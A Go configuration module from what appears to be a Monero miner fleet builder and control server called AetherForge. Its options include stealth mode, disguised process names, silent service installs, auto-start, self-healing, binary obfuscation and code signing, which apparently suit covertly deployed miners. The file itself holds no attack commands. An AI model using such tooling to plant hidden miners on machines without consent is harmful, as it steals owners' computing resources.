Files
AetherForge/server/config.go
AetherForge 01d76b3730 Improve fleet control, Crucible ops, and multi-machine identity.
Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
2026-06-02 19:19:50 -07:00

652 lines
23 KiB
Go

package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"path/filepath"
"strings"
)
type Config struct {
Port int `json:"port"`
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
Pool PoolConfig `json:"pool"`
Wallet WalletConfig `json:"wallet"`
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
Background BackgroundConfig `json:"background,omitempty"`
Alerts AlertsConfig `json:"alerts"`
Server ServerSettings `json:"server"`
}
// ServerSettings controls the locally hosted control server (not baked into miners).
type ServerSettings struct {
PublicURL string `json:"public_url"`
StatsRetentionHours int `json:"stats_retention_hours"`
BuildRetentionDays int `json:"build_retention_days"`
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
MaxAgents int `json:"max_agents"`
MaxBuildSizeMB int `json:"max_build_size_mb"`
LogAgentConnections bool `json:"log_agent_connections"`
LogShareSubmissions bool `json:"log_share_submissions"`
LogPoolTraffic bool `json:"log_pool_traffic"`
StrictWalletValidation bool `json:"strict_wallet_validation"`
DashboardSubtitle string `json:"dashboard_subtitle"`
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
ObfuscateDefault bool `json:"obfuscate_default"`
SignEnabled bool `json:"sign_enabled"`
SignCertThumbprint string `json:"sign_cert_thumbprint"`
SignToolPath string `json:"sign_tool_path"`
SignTimestampURL string `json:"sign_timestamp_url"`
// FleetSecret is a random token generated once on first run and baked into
// every forged agent binary. Agents must present it on connect or be rejected.
FleetSecret string `json:"fleet_secret"`
}
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
type PoolEndpoint struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
}
type PoolConfig struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
Password string `json:"password"`
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
}
type WalletConfig struct {
Address string `json:"address"`
PaymentID string `json:"payment_id"`
}
type AgentDefaults struct {
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
ProcessName string `json:"process_name"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
}
type BackgroundConfig struct {
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
}
type AlertsConfig struct {
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
TelegramBotToken string `json:"telegram_bot_token"`
TelegramChatID string `json:"telegram_chat_id"`
EmailEnabled bool `json:"email_enabled"`
SMTPHost string `json:"smtp_host"`
SMTPPort int `json:"smtp_port"`
SMTPUser string `json:"smtp_user"`
SMTPPassword string `json:"smtp_password"`
EmailTo string `json:"email_to"`
EmailFrom string `json:"email_from"`
}
func DefaultConfig() *Config {
return &Config{
Port: 8989,
DataDir: "data",
Pool: PoolConfig{
Host: "pool.supportxmr.com",
Port: 443,
UseTLS: true,
Password: "x",
BackupPools: []PoolEndpoint{
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
},
},
Wallet: WalletConfig{
Address: "",
PaymentID: "",
},
DefaultAgent: AgentDefaults{
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
CPUPriority: "below_normal",
MaxCPUUsagePct: 80,
MaxMemoryPct: 70,
MinFreeRAMMB: 1024,
MiningMode: "always",
DisplayMode: "background",
ProcessName: "",
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
AdaptToHardware: true,
SelfHealing: true,
FileLogging: true,
StealthMode: false,
},
Background: BackgroundConfig{
SilentMode: true,
RunAs: "service",
AutoStart: true,
},
Alerts: AlertsConfig{
OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50,
RejectionRateThresholdPct: 5,
},
Server: ServerSettings{
PublicURL: "",
StatsRetentionHours: 168,
BuildRetentionDays: 30,
PoolReconnectSeconds: 30,
WebSocketPingSeconds: 30,
MaxAgents: 256,
MaxBuildSizeMB: 150,
LogAgentConnections: true,
LogShareSubmissions: false,
LogPoolTraffic: false,
StrictWalletValidation: false,
DashboardSubtitle: "security is just an emotion",
OpenFirewallOnStart: true,
ObfuscateDefault: false,
SignEnabled: false,
SignTimestampURL: "http://timestamp.digicert.com",
},
}
}
func LoadConfig() *Config {
cfg := DefaultConfig()
// Parse CLI flags
port := flag.Int("port", 8989, "Server port")
dataDir := flag.String("data", "data", "Data directory")
flag.Parse()
cfg.Port = *port
cfg.DataDir = *dataDir
// Try to load from config file
configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config
if err := json.Unmarshal(data, &fileCfg); err == nil {
// Use mergeConfigExplicit so that boolean fields absent from the file
// keep their DefaultConfig values instead of being zeroed (H14).
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true
}
}
}
return cfg
}
func mergeConfig(dst, src *Config) {
if src.Port != 0 {
dst.Port = src.Port
}
if src.DataDir != "" {
dst.DataDir = src.DataDir
}
if src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
dst.Pool.UseTLS = src.Pool.UseTLS
if src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if len(src.Pool.BackupPools) > 0 {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
if src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
if src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
if src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
dst.Background.SilentMode = src.Background.SilentMode
if src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
dst.Background.AutoStart = src.Background.AutoStart
if src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
if src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
if src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
if src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
if src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
if src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
if src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
if src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
if src.Server.PublicURL != "" {
dst.Server.PublicURL = src.Server.PublicURL
}
if src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
if src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
if src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
if src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
if src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
if src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
if src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
dst.Server.SignEnabled = src.Server.SignEnabled
if src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
}
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
if present == nil {
return nil
}
raw, ok := present[section]
if !ok || len(raw) == 0 {
return nil
}
var nested map[string]json.RawMessage
if err := json.Unmarshal(raw, &nested); err != nil {
return nil
}
return nested
}
// mergeConfigExplicit is like mergeConfig but only applies fields when the
// corresponding JSON key was explicitly present in the PUT payload.
// Top-level absence preserves existing values (H14); nested absence within a
// section preserves sibling fields (partial PUT / import shallow-merge fix).
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if present == nil {
// Fall back to old behaviour if we have no key presence info
mergeConfig(dst, src)
return
}
has := func(key string) bool { _, ok := present[key]; return ok }
in := func(section map[string]json.RawMessage, key string) bool {
if section == nil {
return false
}
_, ok := section[key]
return ok
}
// Non-boolean scalar fields — safe to use zero-value guard
if has("port") && src.Port != 0 {
dst.Port = src.Port
}
if has("data_dir") && src.DataDir != "" {
dst.DataDir = src.DataDir
}
if has("pool") {
poolKeys := nestedJSONKeys(present, "pool")
if in(poolKeys, "host") && src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if in(poolKeys, "port") && src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
if in(poolKeys, "use_tls") {
dst.Pool.UseTLS = src.Pool.UseTLS
}
if in(poolKeys, "password") && src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if in(poolKeys, "backup_pools") {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
}
if has("wallet") {
walletKeys := nestedJSONKeys(present, "wallet")
if in(walletKeys, "address") && src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
}
// The JSON struct tag is "default_agent_config" — must match exactly.
if has("default_agent_config") {
daKeys := nestedJSONKeys(present, "default_agent_config")
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
if in(daKeys, "adapt_to_hardware") {
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
}
if in(daKeys, "self_healing") {
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
}
if in(daKeys, "file_logging") {
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
}
if in(daKeys, "stealth_mode") {
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
}
if has("background") {
bgKeys := nestedJSONKeys(present, "background")
if in(bgKeys, "silent_mode") {
dst.Background.SilentMode = src.Background.SilentMode
}
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
if in(bgKeys, "auto_start") {
dst.Background.AutoStart = src.Background.AutoStart
}
}
if has("alerts") {
alertKeys := nestedJSONKeys(present, "alerts")
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
if in(alertKeys, "email_enabled") {
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
}
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
}
if has("server") {
srvKeys := nestedJSONKeys(present, "server")
if in(srvKeys, "public_url") {
dst.Server.PublicURL = src.Server.PublicURL
}
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
if in(srvKeys, "log_agent_connections") {
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
}
if in(srvKeys, "log_share_submissions") {
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
}
if in(srvKeys, "log_pool_traffic") {
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
}
if in(srvKeys, "strict_wallet_validation") {
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
}
if in(srvKeys, "open_firewall_on_start") {
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
}
if in(srvKeys, "obfuscate_default") {
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
}
if in(srvKeys, "sign_enabled") {
dst.Server.SignEnabled = src.Server.SignEnabled
}
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
}
}
func (c *Config) Save() error {
configPath := filepath.Join(c.DataDir, "config.json")
data, err := json.MarshalIndent(c, "", " ")
if err != nil {
return fmt.Errorf("failed to marshal config: %w", err)
}
return os.WriteFile(configPath, data, 0644)
}
func (c *Config) PoolURL() string {
proto := "stratum+tcp"
if c.Pool.UseTLS {
proto = "stratum+ssl"
}
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
}